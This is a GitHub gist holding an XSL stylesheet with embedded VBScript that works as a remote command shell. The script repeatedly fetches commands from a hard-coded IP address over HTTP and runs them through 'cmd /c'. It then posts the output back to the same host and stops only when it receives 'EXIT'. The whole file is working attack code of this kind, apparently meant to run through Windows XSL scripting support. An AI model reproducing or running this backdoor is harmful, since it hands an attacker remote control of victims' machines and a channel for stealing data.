Skip to content

Instantly share code, notes, and snippets.

@padovah4ck
Last active May 18, 2018 15:28
Show Gist options
  • Save padovah4ck/0d26f0b69a7ed2e9ed9ef7902ec0385a to your computer and use it in GitHub Desktop.
Save padovah4ck/0d26f0b69a7ed2e9ed9ef7902ec0385a to your computer and use it in GitHub Desktop.
<?xml version='1.0'?>
<stylesheet xmlns="http://www.w3.org/1999/XSL/Transform" xmlns:ms="urn:schemas-microsoft-com:xslt" xmlns:user="placeholder" version="1.0">
<output method="text"/>
<ms:script implements-prefix="user" language="VBScript">
<![CDATA[
Option Explicit
On Error Resume Next
CONST callbackUrl = "http://10.200.3.164:80/"
Dim xmlHttpReq, shell, execObj, command, break, result
Set shell = CreateObject("WScript.Shell")
shell.Popup "Click me Quick!"
break = False
While break <> True
shell.Popup "inside"
Set xmlHttpReq = WScript.CreateObject("Microsoft.XMLHTTP")
xmlHttpReq.Open "GET", callbackUrl, false
xmlHttpReq.Send
shell.Popup "xmlHttpReq " & xmlHttpReq
command = "cmd /c " & Trim(xmlHttpReq.responseText)
If InStr(command, "EXIT") Then
break = True
Else
Set execObj = shell.Exec(command)
shell.Popup "command " & command
result = ""
Do Until execObj.StdOut.AtEndOfStream
result = result & execObj.StdOut.ReadAll()
Loop
Set xmlHttpReq = WScript.CreateObject("MSXML2.ServerXMLHTTP")
xmlHttpReq.Open "POST", callbackUrl, false
xmlHttpReq.Send(result)
End If
Wend
]]> </ms:script>
</stylesheet>
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment